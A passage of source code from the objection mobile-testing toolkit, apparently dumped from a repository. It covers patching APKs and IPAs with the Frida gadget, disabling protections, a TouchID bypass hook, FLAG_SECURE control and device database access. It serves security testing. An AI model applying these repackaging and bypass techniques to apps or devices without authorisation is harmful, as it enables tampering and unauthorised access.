ios_gadget.gadget_exists():\n        # download!\n        click.secho('Remote FridaGadget version is v{0}, local is v{1}. Downloading...'.format(\n            github_version, local_version), fg='green')\n\n        # download, unpack, update local version and cleanup the temp files.\n        ios_gadget.download() \\\n            .unpack() \\\n            .set_local_version('ios_universal', github_version) \\\n            .cleanup()\n\n    click.secho('Patcher will be using Gadget version: {0}'.format(github_version), fg='green')\n\n    # start the patching process\n    patcher = IosPatcher(skip_cleanup=skip_cleanup)\n\n    # return of we do not have all of the requirements.\n    if not patcher.are_requirements_met():\n        return\n\n    patcher.set_provsioning_profile(provision_file=provision_file, bundle_id=bundle_id)\n    patcher.extract_ipa(unzip_unicode, ipa_source=source)\n    patcher.set_application_binary(binary=binary_name)\n    patcher.patch_and_codesign_binary(\n        frida_gadget=ios_gadget.get_gadget_path(), codesign_signature=codesign_signature, gadget_config=gadget_config)\n\n    if script_source:\n        click.secho('Copying over a custom script to use with the gadget config.', fg='green')\n        shutil.copyfile(script_source, os.path.join(patcher.app_folder, 'Frameworks', script_source))\n\n    # give a chance to make any last minute modifications if needed\n    if pause:\n        click.secho(('Patching paused. The next step is to rebuild the IPA. '\n                     'If you require any manual fixes, the current temp '\n                     'directory is:'), bold=True)\n        click.secho('{0}'.format(patcher.app_folder), fg='green', bold=True)\n\n        input('Press ENTER to continue...')\n\n    patcher.archive_and_codesign(original_name=source, codesign_signature=codesign_signature)\n\n    click.secho('Copying final ipa from {0} to current directory...'.format(patcher.get_patched_ipa_path()))\n    shutil.copyfile(\n        patcher.get_patched_ipa_path(),\n        os.path.join(os.path.abspath('.'), os.path.basename(patcher.get_patched_ipa_path())))\n\n\ndef patch_android_apk(source: str, architecture: str, pause: bool, skip_cleanup: bool = True,\n                      enable_debug: bool = True, gadget_version: str = None, skip_resources: bool = False,\n                      network_security_config: bool = False, target_class: str = None,\n                      use_aapt2: bool = False, gadget_config: str = None, script_source: str = None,\n                      ignore_nativelibs: bool = True, manifest: str = None, skip_signing: bool = False,\n                      only_main_classes: bool = False, fix_concurrency_to = None) -> None:\n    \"\"\"\n        Patches an Android APK by extracting, patching SMALI, repackaging\n        and signing a new APK.\n\n        :param source:\n        :param architecture:\n        :param pause:\n        :param skip_cleanup:\n        :param enable_debug:\n        :param gadget_version:\n        :param skip_resources:\n        :param network_security_config:\n        :param target_class:\n        :param use_aapt2:\n        :param gadget_config:\n        :param script_source:\n        :param manifest:\n        :param skip_signing:\n        :param ignore_nativelibs:\n        :param only_main_classes:\n        :param fix_concurrency_to:\n\n        :return:\n    \"\"\"\n\n    github = Github(gadget_version=gadget_version)\n    android_gadget = AndroidGadget(github)\n\n    # without an architecture set, attempt to determine one using adb\n    if not architecture:\n        click.secho('No architecture specified. Determining it using `adb`...', dim=True)\n        o = delegator.run('adb shell getprop ro.product.cpu.abi')\n\n        # read the ach from the process' output\n        architecture = o.out.strip()\n\n        if len(architecture) <= 0:\n            click.secho('Failed to determine architecture. Is the device connected and authorized?',\n                        fg='red', bold=True)\n            return\n\n        click.secho('Detected target device architecture as: {0}'.format(architecture), fg='green', bold=True)\n\n    # set the architecture we are interested in\n    android_gadget.set_architecture(architecture)\n\n    # check the gadget config flags\n    if script_source and not gadget_config:\n        click.secho('A script source was specified but no gadget configuration was set.', fg='red', bold=True)\n        return\n\n    # check if a gadget version was specified. if not, get the latest one.\n    if gadget_version is not None:\n        github_version = gadget_version\n        click.secho('Using manually specified version: {0}'.format(gadget_version), fg='green', bold=True)\n    else:\n        github_version = github.get_latest_version()\n        click.secho('Using latest Github gadget version: {0}'.format(github_version), fg='green', bold=True)\n\n    # get local version of the stored gadget\n    local_version = android_gadget.get_local_version('android_' + architecture)\n\n    # check if the local version needs updating. this can be either because\n    # the version is outdated or we simply don't have the gadget yet, or, we want\n    # a very specific version\n    if Version(github_version) != Version(local_version) or not android_gadget.gadget_exists():\n        # download!\n        click.secho('Remote FridaGadget version is v{0}, local is v{1}. Downloading...'.format(\n            github_version, local_version), fg='green')\n\n        # download, unpack, update local version and cleanup the temp files.\n        android_gadget.download() \\\n            .unpack() \\\n            .set_local_version('android_' + architecture, github_version) \\\n            .cleanup()\n\n    click.secho('Patcher will be using Gadget version: {0}'.format(github_version), fg='green')\n\n    patcher = AndroidPatcher(skip_cleanup=skip_cleanup, skip_resources=skip_resources, manifest=manifest, only_main_classes=only_main_classes)\n\n    # ensure that we have all of the commandline requirements\n    if not patcher.are_requirements_met():\n        return\n\n    # ensure we have the latest apk-tool and run the\n    if not patcher.is_apktool_ready():\n        click.secho('apktool is not ready for use', fg='red', bold=True)\n        return\n\n    # work on patching the APK\n    patcher.set_apk_source(source=source)\n    patcher.unpack_apk(fix_concurrency_to=fix_concurrency_to)\n    patcher.inject_internet_permission()\n\n    if not ignore_nativelibs:\n        patcher.extract_native_libs_patch()\n\n    if enable_debug:\n        patcher.flip_debug_flag_to_true()\n\n    if network_security_config:\n        patcher.add_network_security_config()\n\n    patcher.inject_load_library(target_class=target_class)\n    patcher.add_gadget_to_apk(architecture, android_gadget.get_frida_library_path(), gadget_config)\n\n    if script_source:\n        click.secho('Copying over a custom script to use with the gadget config.', fg='green')\n        shutil.copyfile(script_source,\n                        os.path.join(patcher.apk_temp_directory, 'lib', architecture,\n                                     'libfrida-gadget.script.so'))\n\n    # if we are required to pause, do that.\n    if pause:\n        click.secho(('Patching paused. The next step is to rebuild the APK. '\n                     'If you require any manual fixes, the current temp '\n                     'directory is:'), bold=True)\n        click.secho('{0}'.format(patcher.get_temp_working_directory()), fg='green', bold=True)\n\n        input('Press ENTER to continue...')\n\n    patcher.build_new_apk(use_aapt2=use_aapt2, fix_concurrency_to=fix_concurrency_to)\n    patcher.zipalign_apk()\n    if not skip_signing:\n        patcher.sign_apk()\n\n    # woohoo, get the APK!\n    destination = source.replace('.apk', '.objection.apk')\n\n    click.secho(\n        'Copying final apk from {0} to {1} in current directory...'.format(patcher.get_patched_apk_path(), destination))\n    shutil.copyfile(patcher.get_patched_apk_path(), os.path.join(os.path.abspath('.'), destination))\n\n\ndef sign_android_apk(source: str, skip_cleanup: bool = True) -> None:\n    \"\"\"\n        Zipaligns and signs an Android APK with the objection key.\n\n        :param source:\n        :param skip_cleanup:\n\n        :return:\n    \"\"\"\n\n    patcher = AndroidPatcher(skip_cleanup=skip_cleanup)\n\n    # ensure that we have all of the commandline requirements\n    if not patcher.are_requirements_met():\n        return\n\n    patcher.set_apk_source(source=source)\n    patcher.zipalign_apk()\n    patcher.sign_apk()\n\n    # woohoo, get the APK!\n    destination = source.replace('.apk', '.objection.apk')\n\n    click.secho(\n        'Copying final apk from {0} to {1} in current directory...'.format(patcher.get_patched_apk_path(), destination))\n    shutil.copyfile(patcher.get_patched_apk_path(), os.path.join(os.path.abspath('.'), destination))\n"
  },
  {
    "path": "objection/commands/plugin_manager.py",
    "content": "import importlib.util\nimport os\nimport traceback\nimport uuid\n\nimport click\n\nfrom ..utils.plugin import Plugin as PluginType\n\n\ndef load_plugin(args: list = None) -> None:\n    \"\"\"\n        Loads an objection plugin.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: plugin load <plugin path> (<plugin namespace>)', bold=True)\n        return\n\n    path = os.path.abspath(args[0])\n    if os.path.isdir(path):\n        path = os.path.join(path, '__init__.py')\n\n    if not os.path.exists(path):\n        click.secho('[plugin] {0} does not appear to be a valid plugin. Missing __init__.py'.format(\n            os.path.dirname(path)), fg='red', dim=True)\n        return\n\n    spec = importlib.util.spec_from_file_location(str(uuid.uuid4())[:8], path)\n    plugin = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(plugin)\n\n    namespace = plugin.namespace\n    if len(args) >= 2:\n        namespace = args[1]\n\n    plugin.__name__ = namespace\n\n    # try and load the plugin (aka: run its __init__)\n    try:\n\n        instance = plugin.plugin(namespace)\n        assert isinstance(instance, PluginType)\n\n    except AssertionError:\n        click.secho('Failed to load plugin \\'{0}\\'. Invalid plugin type.'.format(namespace), fg='red', bold=True)\n        return\n\n    except Exception as e:\n        click.secho('Failed to load plugin \\'{0}\\' with error: {1}'.format(namespace, str(e)), fg='red', bold=True)\n        click.secho('{0}'.format(traceback.format_exc()), dim=True)\n        return\n\n    from ..console import commands\n    commands.COMMANDS['plugin']['commands'][instance.namespace] = instance.implementation\n    click.secho('Loaded plugin: {0}'.format(plugin.__name__), bold=True)\n"
  },
  {
    "path": "objection/commands/sqlite.py",
    "content": "import binascii\nimport os\nimport tempfile\n\nimport click\nimport litecli\nfrom litecli.main import LiteCli\n\nfrom ..commands.filemanager import download, upload, pwd, path_exists\n\n\ndef modify_config(rc):\n    \"\"\"\n        Monkey patches the LiteCLI config to toggle\n        settings that make more sense for us.\n\n        :param rc:\n        :return:\n    \"\"\"\n\n    c = real_get_config(rc)\n    c['main']['less_chatty'] = 'True'\n    c['main']['enable_pager'] = 'False'\n\n    return c\n\n\nreal_get_config = litecli.main.get_config\nlitecli.main.get_config = modify_config\n\n\ndef cleanup(p) -> None:\n    \"\"\"\n        Remove a cached SQLite db\n\n        :param p:\n        :return:\n    \"\"\"\n\n    os.remove(p)\n\n\ndef _should_sync_once_done(args: list) -> bool:\n    \"\"\"\n        Checks if --sync flag was provided.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    return '--sync' in args\n\n\ndef connect(args: list) -> None:\n    \"\"\"\n        Connects to a SQLite database by downloading a copy of the database\n        from the device and storing it locally in a temporary directory.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: sqlite connect <remote_file> (optional: --sync)', bold=True)\n        return\n\n    db_location = args[0]\n    _, local_path = tempfile.mkstemp('.sqlite')\n    use_shm = False  # does Shared Memory temp file exist ?\n    use_wal = False  # does Write-Ahead-Log temp file exist ?\n    use_jnl = False  # does Journal temp file exist ?\n    write_back_tmp_sqlite = False  # if enabled temporary DB files are re-uploaded, this has not been testes\n\n    # update the full remote path for future syncs\n    full_remote_file = db_location \\\n        if os.path.isabs(db_location) else os.path.join(pwd(), db_location)\n\n    click.secho('Caching local copy of database file...', fg='green')\n    download([db_location, local_path])\n    if path_exists(full_remote_file + '-shm'):\n        click.secho('... caching local copy of database \"shm\" file...', fg='green')\n        download([db_location + '-shm', local_path + '-shm'])\n        use_shm = True\n    if path_exists(full_remote_file + '-wal'):\n        click.secho('... caching local copy of database \"wal\" file...', fg='green')\n        download([db_location + '-wal', local_path + '-wal'])\n        use_wal = True\n    if path_exists(full_remote_file + '-journal'):\n        click.secho('... caching local copy of database \"journal\" file...', fg='green')\n        download([db_location + '-journal', local_path + '-journal'])\n        use_jnl = True\n\n    click.secho('Validating SQLite database format', dim=True)\n    with open(local_path, 'rb') as f:\n        header = f.read(16)\n        header = binascii.hexlify(header)\n\n    if header != b'53514c69746520666f726d6174203300':\n        click.secho('File does not appear to be a SQLite3 db. Try downloading and manually inspecting this one.',\n                    fg='red')\n        cleanup(local_path)\n        return\n\n    click.secho('Connected to SQLite database at: {0}'.format(db_location), fg='green')\n\n    # boot the litecli prompt\n    lite = LiteCli(prompt='SQLite @ {} > '.format(db_location))\n    lite.connect(local_path)\n    lite.run_cli()\n\n    if _should_sync_once_done(args):\n        click.secho('Synchronizing changes back...', dim=True)\n        upload([local_path, full_remote_file])\n        # re-uploading temp sqlite files has not been tested and thus is disabled by default\n        if write_back_tmp_sqlite:\n            if use_shm:\n                upload([local_path + '-shm', full_remote_file + '-shm'])\n            if use_wal:\n                upload([local_path + '-wal', full_remote_file + '-wal'])\n            if use_jnl:\n                upload([local_path + '-journal', full_remote_file + '-journal'])\n    else:\n        click.secho('NOT synchronizing changes back to device. Use --sync if you want that.', fg='green')\n\n    # maak skoon\n    cleanup(local_path)\n    if use_shm:\n        cleanup(local_path + '-shm')\n    if use_wal:\n        cleanup(local_path + '-wal')\n    if use_jnl:\n        cleanup(local_path + '-journal')\n"
  },
  {
    "path": "objection/commands/ui.py",
    "content": "import click\n\nfrom objection.state.connection import state_connection\nfrom ..state.device import device_state, Ios, Android\n\n\ndef alert(args: list = None) -> None:\n    \"\"\"\n        Displays an alert message via a popup or a Toast message\n        on the mobile device.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        message = 'objection!'\n    else:\n        message = args[0]\n\n    if device_state.platform == Ios:\n        _alert_ios(message)\n\n    if device_state.platform == Android:\n        pass\n\n\ndef _alert_ios(message: str):\n    \"\"\"\n        Display an alert on iOS\n\n        :param message:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_ui_alert(message)\n\n\ndef ios_screenshot(args: list = None) -> None:\n    \"\"\"\n        Take an iOS screenshot.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: ios ui screenshot <local png destination>', bold=True)\n        return\n\n    destination = args[0]\n\n    if not destination.endswith('.png'):\n        destination = destination + '.png'\n\n    api = state_connection.get_api()\n    png = api.ios_ui_screenshot()\n\n    with open(destination, 'wb') as f:\n        f.write(png)\n\n    click.secho('Screenshot saved to: {0}'.format(destination), fg='green')\n\n\ndef dump_ios_ui(args: list = None) -> None:\n    \"\"\"\n        Dumps the current iOS user interface in a serialized form.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    ui = api.ios_ui_window_dump()\n\n    click.secho(ui)\n\n\ndef bypass_touchid(args: list = None) -> None:\n    \"\"\"\n        Starts a new objection job that hooks into the iOS TouchID\n        classes, replacing the verification logic to always pass.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    api = state_connection.get_api()\n    api.ios_ui_biometrics_bypass()\n\n\ndef android_screenshot(args: list = None) -> None:\n    \"\"\"\n        Take an Android screenshot.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0:\n        click.secho('Usage: android ui screenshot <local png destination>', bold=True)\n        return\n\n    # add the .png extension if it does not already exist\n    destination = args[0] if args[0].endswith('.png') else args[0] + '.png'\n\n    # download the file\n    api = state_connection.get_api()\n    data = api.android_ui_screenshot()\n\n    image = bytearray(map(lambda x: x % 256, data))\n\n    with open(destination, 'wb') as f:\n        f.write(image)\n\n    click.secho('Screenshot saved to: {0}'.format(destination), fg='green')\n\n\ndef android_flag_secure(args: list = None) -> None:\n    \"\"\"\n        Control FLAG_SECURE of the current Activity, allowing or disallowing\n        the use of hardware key combinations and screencap to take screenshots.\n\n        :param args:\n        :return:\n    \"\"\"\n\n    if len(args) <= 0 or args[0] not in ('true', 'false'):\n        click.secho('Usage: android ui FLAG_SECURE <true/false>', bold=True)\n        return\n\n    api = state_connection.get_api()\n    api.android_ui_set_flag_secure(args[0])\n"
  },
  {
    "path": "objection/console/__init__.py",
    "content": ""
  },
  {
    "path": "objection/console/cli.py",
    "content": "import threading\nimport time\nfrom pathlib import Path\n\nimport click\nfrom frida import ServerNotRunningError\n\nfrom objection.commands.plugin_manager import load_plugin\nfrom objection.utils.agent import Agent, AgentConfig\nfrom objection.utils.helpers import debug_print, warn_about_older_operating_systems\nfrom .repl import Repl\nfrom ..__init__ import __version__\nfrom ..commands.mobile_packages import patch_ios_ipa, patch_android_apk, sign_android_apk\nfrom ..state.api import api_state\nfrom ..state.app import app_state\nfrom ..state.connection import state_connection\n\n\ndef get_agent() -> Agent:\n    \"\"\" get_agent bootstraps an agent instance \"\"\"\n    agent = Agent(AgentConfig(\n        name=state_connection.name,\n        host=state_connection.host,\n        port=state_connection.port,\n        device_type=state_connection.device_type,\n        device_id=state_connection.device_id,\n        spawn=state_connection.spawn,\n        foremost=state_connection.foremost,\n        debugger=state_connection.debugger,\n        pause=not state_connection.no_pause,\n        uid=state_connection.uid\n    ))\n\n    try:\n        agent.run()\n    except ServerNotRunningError:\n        click.secho('Frida server or gadget is not running on the target!', fg='red')\n        exit(1)\n\n    return agent\n\n\n# Start the Click command group\n@click.group()\n@click.option('--network', '-N', is_flag=True, help='Connect using a network connection instead of USB.',\n              show_default=True)\n@click.option('--host', '-h', default='127.0.0.1', show_default=True)\n@click.option('--port', '-P', required=False, default=27042, show_default=True)\n@click.option('--api-host', '-ah', default='127.0.0.1', show_default=True)\n@click.option('--api-port', '-ap', required=False, default=8888, show_default=True)\n@click.option('--name', '-n', required=False,\n              help='Name or bundle identifier to attach to.', show_default=True)\n@click.option('--gadget', '-g', is_eager=True, hidden=True, deprecated=\"Please use '-n' or '--name' instead\")\n@click.option('--serial', '-S', required=False, default=None, help='A device serial to connect to.')\n@click.option('--debug', '-d', required=False, default=False, is_flag=True,\n              help='Enable debug mode with verbose output.')\n@click.option('--spawn', '-s', required=False, is_flag=True, help='Spawn the target.')\n@click.option('--no-pause', '-p', required=False, is_flag=True, help='Resume the target immediately.')\n@click.option('--foremost', '-f', required=False, is_flag=True, help='Use the current foremost application.')\n@click.option('--debugger', required=False, default=False, is_flag=True, help='Enable the Chrome debug port.')\n@click.option('--uid', required=False, default=None, help='Specify the uid to run as (Android only).')\ndef cli(network: bool, host: str, port: int, api_host: str, api_port: int,\n        name: str, gadget: str, serial: str, debug: bool, spawn: bool, no_pause: bool,\n        foremost: bool, debugger: bool, uid: int) -> None:\n    \"\"\"\n        \\b\n             _   _         _   _\n         ___| |_|_|___ ___| |_|_|___ ___\n        | . | . | | -_|  _|  _| | . |   |\n        |___|___| |___|___|_| |_|___|_|_|\n              |___|(object)inject(ion)\n        \\b\n             Runtime Mobile Exploration\n                by: @leonjza from @sensepost\n    \"\"\"\n\n    if debug:\n        app_state.debug = debug\n\n    if network:\n        state_connection.use_network()\n        state_connection.host = host\n        state_connection.port = port\n\n    if serial:\n        state_connection.device_id = serial\n\n    # set api parameters\n    app_state.api_host = api_host\n    app_state.api_port = api_port\n\n    # Backwards compatibility\n    if gadget is not None:\n        name = gadget\n\n    state_connection.name = name\n    state_connection.spawn = spawn\n    state_connection.no_pause = no_pause\n    state_connection.foremost = foremost\n    state_connection.debugger = debugger\n    state_connection.uid = uid\n\n\n@cli.command()\ndef api():\n    \"\"\"\n        Start the objection API server in headless mode.\n    \"\"\"\n\n    agent = get_agent()\n    state_connection.set_agent(agent=agent)\n\n    click.secho(f'Starting API server on {app_state.api_host}:{app_state.api_port}', fg='yellow', bold=True)\n    api_state.start(app_state.api_host, app_state.api_port, app_state.debug)\n\n\n@cli.command()\n@click.option('--plugin-folder', '-P', required=False, default=None, help='The folder to load plugins from.')\n@click.option('--quiet', '-q', required=False, default=False, is_flag=True)\n@click.option('--startup-command', '-s', required=False, multiple=True,\n              help='A command to run before the repl polls the device for information.')\n@click.option('--file-commands', '-c', required=False, type=click.File('r'),\n              help=('A file containing objection commands, separated by a '\n                    'newline, that will run before the repl polls the device for information.'))\n@click.option('--startup-script', '-S', required=False, type=click.File('r'),\n              help='A script to import and run before the repl polls the device for information.')\n@click.option('--enable-api', '-a', required=False, default=False, is_flag=True,\n              help='Start the objection API server.')\ndef start(plugin_folder: str, quiet: bool, startup_command: str, file_commands, startup_script: click.File,\n          enable_api: bool) -> None:\n    \"\"\"\n        Start a new session\n    \"\"\"\n\n    agent = get_agent()\n    state_connection.set_agent(agent)\n\n    # load plugins\n    if plugin_folder:\n        folder = Path(plugin_folder).resolve()\n        debug_print(f'[plugin] Plugins path is: {folder}')\n        for p in folder.iterdir():\n            if p.is_file() or p.name.startswith('.'):\n                debug_print(f'[plugin] Skipping {p.name}')\n                continue\n\n            debug_print(f'[plugin] Attempting to load plugin at {p}')\n            load_plugin([p])\n\n    repl = Repl()\n\n    if startup_script:\n        click.secho(f'Importing and running startup script at: {startup_script}', dim=True)\n        script_name = f'startup_script<{startup_script.name}>'\n        agent.attach_script(script_name, startup_script.read())\n\n    if startup_command:\n        for command in startup_command:\n            click.secho(f'Running a startup command... {command}', dim=True)\n            repl.run_command(command)\n\n    if file_commands:\n        click.secho('Running commands from file...', bold=True)\n        for command in file_commands.readlines():\n\n            command = command.strip()\n            if command == '':\n                continue\n\n            # run the command using the instantiated repl\n            click.secho(f'Running: \\'{command}\\':\\n', dim=True)\n            repl.run_command(command)\n\n    warn_about_older_operating_systems()\n\n    # start the api server\n    if enable_api:\n        def api_thread():\n            \"\"\" Small method to run Flask non-blocking \"\"\"\n            api_state.start(app_state.api_host, app_state.api_port)\n\n        click.secho(f'Starting API server on {app_state.api_host}:{app_state.api_port}', fg='yellow', bold=True)\n        thread = threading.Thread(target=api_thread)\n        thread.daemon = True\n        thread.start()\n\n        time.sleep(2)\n\n    # drop into the repl\n    repl.run(quiet=quiet)\n\n# Some ugly backwards compatibility\n@cli.command(deprecated=\"Use 'objection start' instead of 'objection explore'\", hidden=True)\n@click.option('--plugin-folder', '-P', required=False, default=None, help='The folder to load plugins from.')\n@click.option('--quiet', '-q', required=False, default=False, is_flag=True)\n@click.option('--startup-command', '-s', required=False, multiple=True,\n              help='A command to run before the repl polls the device for information.')\n@click.option('--file-commands', '-c', required=False, type=click.File('r'),\n              help=('A file containing objection commands, separated by a '\n                    'newline, that will run before the repl polls the device for information.'))\n@click.option('--startup-script', '-S', required=False, type=click.File('r'),\n              help='A script to import and run before the repl polls the device for information.')\n@click.option('--enable-api', '-a', required=False, default=False, is_flag=True,\n              help='Start the objection API server.')\ndef explore(plugin_folder: str, quiet: bool, startup_command: str, file_commands, startup_script: click.File,\n            enable_api: bool) -> None:\n    \"\"\"\n        Deprecated: Use 'start' instead.\n    \"\"\"\n    # Call the start command's callback directly\n    ctx = click.get_current_context()\n    ctx.invoke(start,\n               plugin_folder=plugin_folder,\n               quiet=quiet,\n               startup_command=startup_command,\n               file_commands=file_commands,\n               startup_script=startup_script,\n               enable_api=enable_api)\n\n@cli.command()\n@click.option('--hook-debug', '-d', required=False, default=False, is_flag=True,\n              help='Print compiled hooks as they are run to the screen and logfile.')\n@click.argument('command', nargs=-1)\ndef run(hook_debug: bool, command: tuple) -> None:\n    \"\"\"\n        Run a single objection command.\n    \"\"\"\n\n    if len(command) <= 0:\n        click.secho('Please specify a command to run', fg='red')\n        return\n\n    # specify if hooks should be debugged\n    app_state.debug_hooks = hook_debug\n\n    agent = get_agent()\n    state_connection.set_agent(agent=agent)\n\n    command = ' '.join(command)\n\n    # use the methods in the main REPL to run the command\n    click.secho('Running command... `{0}`'.format(command), dim=True)\n    Repl().run_command(command)\n\n\n@cli.command()\ndef version() -> None:\n    \"\"\"\n        Prints the current version and exits.\n    \"\"\"\n\n    click.secho('objection: {0}'.format(__version__))\n\n\n@cli.command()\n@click.option('--source', '-s', help='The source IPA to patch', required=True)\n@click.option('--gadget-version', '-V', help=('The gadget version to use. If not '\n                                              'specified, the latest version will be used.'), default=None)\n@click.option('--codesign-signature', '-c',\n              help='Codesigning Identity to use. Get it with: `security find-identity -p codesigning -v`',\n              required=True)\n@click.option('--provision-file', '-P', help='The .mobileprovision file to use in the patched .ipa')\n@click.option('--binary-name', '-b', help='Name of the Mach-O binary in the IPA (used to patch with Frida)')\n@click.option('--skip-cleanup', '-k', is_flag=True,\n              help='Do not clean temporary files once finished.', show_default=True)\n@click.option('--pause', '-p', is_flag=True, help='Pause the patcher before rebuilding the IPA.',\n              show_default=True)\n@click.option('--unzip-unicode', '-z', is_flag=True, help='Unzip IPA containing Unicode characters.')\n@click.option('--gadget-config', '-C', default=None, help=(\n        'The gadget configuration file to use. '\n        'Refer to https://frida.re/docs/gadget/ for more information.'), show_default=False)\n@click.option('--script-source', '-l', default=None, help=(\n        'A script file to use with the the \"path\" config type. '\n        'Remember that use the name of this file in your \"path\". It will be next to the config.'), show_default=False)\n@click.option('--bundle-id', '-b', default=None, help='The bundleid to set when codesigning the IPA')\ndef patchipa(source: str, gadget_version: str, codesign_signature: str, provision_file: str, binary_name: str,\n             skip_cleanup: bool, pause: bool, unzip_unicode: bool, gadget_config: str, script_source: str,\n             bundle_id: str) -> None:\n    \"\"\"\n        Patch an IPA with the FridaGadget dylib.\n    \"\"\"\n\n    patch_ios_ipa(**locals())\n\n\n@cli.command()\n@click.option('--source', '-s', help='The source APK to patch', required=True)\n@click.option('--architecture', '-a',\n              help=('The architecture of the device the patched APK will run on. '\n                    'This can be determined with `adb shell getprop ro.product.cpu.abi`. '\n                    'If it is not specified, this command will try and determine it automatically.'), required=False)\n@click.option('--gadget-version', '-V', help=('The gadget version to use. If not '\n                                              'specified, the latest version will be used.'), default=None)\n@click.option('--pause', '-p', is_flag=True, help='Pause the patcher before rebuilding the APK.',\n              show_default=True)\n@click.option('--skip-cleanup', '-k', is_flag=True,\n              help='Do not clean temporary files once finished.', show_default=True)\n@click.option('--enable-debug', '-d', is_flag=True,\n              help='Set the android:debuggable flag to true in the application manifest.', show_default=True)\n@click.option('--network-security-config', '-N', is_flag=True, default=False,\n              help='Include a network_security_config.xml file allowing for user added CA\\'s to be trusted on '\n                   'Android 7 and up. This option can not be used with the --skip-resources flag.')\n@click.option('--skip-resources', '-D', is_flag=True, default=False,\n              help='Skip resource decoding as part of the apktool processing.', show_default=False)\n@click.option('--skip-signing', '-C', is_flag=True, default=False,\n              help='Skip signing the apk file.', show_default=False)\n@click.option('--target-class', '-t', help='The target class to patch.', default=None)\n@click.option('--use-aapt2', '-2', is_flag=True, default=False,\n              help='Use the aapt2 binary instead of aapt as part of the apktool processing.', show_default=False)\n@click.option('--gadget-config', '-c', default=None, help=(\n        'The gadget configuration file to use. '\n        'Refer to https://frida.re/docs/gadget/ for more information.'), show_default=False)\n@click.option('--script-source', '-l', default=None,\n              help=('A script file to use with the the \"path\" config type. '\n                    'Specify \"libfrida-gadget.script.so\" as the \"path\" in your config.'), show_default=False)\n@click.option('--ignore-nativelibs', '-n', is_flag=True, default=False,\n              help='Do not change the extractNativeLibs flag in the AndroidManifest.xml.', show_default=False)\n@click.option('--manifest', '-m', help='A decoded AndroidManifest.xml file to read.', default=None)\n@click.option('--only-main-classes', help=\"Only patch classes that are in the main dex file.\", is_flag=True, default=False)\n@click.option('--fix-concurrency-to', '-j', help=\"Only use N threads for repackaging - set to 1 if running into OOM errors.\", default=None)\n\ndef patchapk(source: str, architecture: str, gadget_version: str, pause: bool, skip_cleanup: bool,\n             enable_debug: bool, skip_resources: bool, network_security_config: bool, target_class: str,\n             use_aapt2: bool, gadget_config: str, script_source: str, ignore_nativelibs: bool, manifest: str, skip_signing: bool, only_main_classes:bool = False, fix_concurrency_to = None) -> None:\n    \"\"\"\n        Patch an APK with the frida-gadget.so.\n    \"\"\"\n\n    # ensure we decode resources if we have the network-security-config flag.\n    if network_security_config and skip_resources:\n        click.secho('The --network-security-config flag is incompatible with the --skip-resources flag.', fg='red')\n        return\n\n    # ensure we decode resources if we have the enable-debug flag.\n    if enable_debug and skip_resources:\n        click.secho('The --enable-debug flag is incompatible with the --skip-resources flag.', fg='red')\n        return\n\n    # ensure we decode resources if we do not have the --ignore-nativelibs flag.\n    if not ignore_nativelibs and skip_resources:\n        click.secho('The --ignore-nativelibs flag is required with the --skip-resources flag.', fg='red')\n        return\n\n    patch_android_apk(**locals())\n\n\n@cli.command()\n@click.argument('sources', nargs=-1, type=click.Path(exists=True), required=True)\n@click.option('--skip-cleanup', '-k', is_flag=True,\n              help='Do not clean temporary files once finished.', show_default=True)\ndef signapk(sources, skip_cleanup: bool) -> None:\n    \"\"\"\n        Zipalign and sign an APK with the objection key.\n    \"\"\"\n    for source in sources:\n        sign_android_apk(source, skip_cleanup)\n\n\nif __name__ == '__main__':\n    cli()\n"
  },
  {
    "path": "objection/console/commands.py",
    "content": "from objection.commands import http\nfrom ..commands import command_history\nfrom ..commands import custom\nfrom ..commands import device\nfrom ..commands import filemanager\nfrom ..commands import frida_commands\nfrom ..commands import jobs\nfrom ..commands import memory\nfrom ..commands import plugin_manager\nfrom ..commands import sqlite\nfrom ..commands import ui\nfrom ..commands.android import clipboard\nfrom ..commands.android import command\nfrom ..commands.android import general\nfrom ..commands.android import generate as android_generate\nfrom ..commands.android import heap as android_heap\nfrom ..commands.android import hooking as android_hooking\nfrom ..commands.android import intents\nfrom ..commands.android import keystore\nfrom ..commands.android import pinning as android_pinning\nfrom ..commands.android import proxy as android_proxy\nfrom ..commands.android import root\nfrom ..commands.ios import binary\nfrom ..commands.ios import bundles\nfrom ..commands.ios import cookies\nfrom ..commands.ios import generate as ios_generate\nfrom ..commands.ios import heap as ios_heap\nfrom ..commands.ios import hooking as ios_hooking\nfrom ..commands.ios import jailbreak\nfrom ..commands.ios import keychain\nfrom ..commands.ios import monitor as ios_crypto\nfrom ..commands.ios import nsurlcredentialstorage\nfrom ..commands.ios import nsuserdefaults\nfrom ..commands.ios import pasteboard\nfrom ..commands.ios import pinning as ios_pinning\nfrom ..commands.ios import plist\n\n# commands are defined with their name being the key, then optionally\n# have a meta, dynamic and commands key.\n\n# meta: A small one-liner containing information about the command itself\n# dynamic: A method to execute that would return completions to populate in the prompt\n# exec: The *actual* method to execute when the command is issued.\n\n# commands help is stored in the help files directory as a txt file.\n\nCOMMANDS = {\n\n    'plugin': {\n        'meta': 'Work with plugins',\n        'commands': {\n            'load': {\n                'meta': 'Load a plugin',\n                'exec': plugin_manager.load_plugin\n            }\n        }\n    },\n\n    '!': {\n        'meta': 'Execute an Operating System command',\n        'exec': None,  # handled in the Repl class itself\n    },\n\n    'reconnect': {\n        'meta': 'Reconnect to the current app',\n        'exec': None,  # handled in the Repl class itself\n    },\n\n    'reconnect_spawn': {\n        'meta': 'Respawn the current app',\n        'exec': None,  # handled in the Repl class itself\n    },\n\n    'resume': {\n        'meta': 'Resume the attached process',\n        'exec': None\n    },\n\n    'import': {\n        'meta': 'Import fridascript from a full path and run it',\n        'exec': frida_commands.load_background\n    },\n\n    'ping': {\n        'meta': 'Ping the injected agent',\n        'exec': frida_commands.ping\n    },\n\n    # file manager commands\n\n    'cd': {\n        'meta': 'Change the current working directory',\n      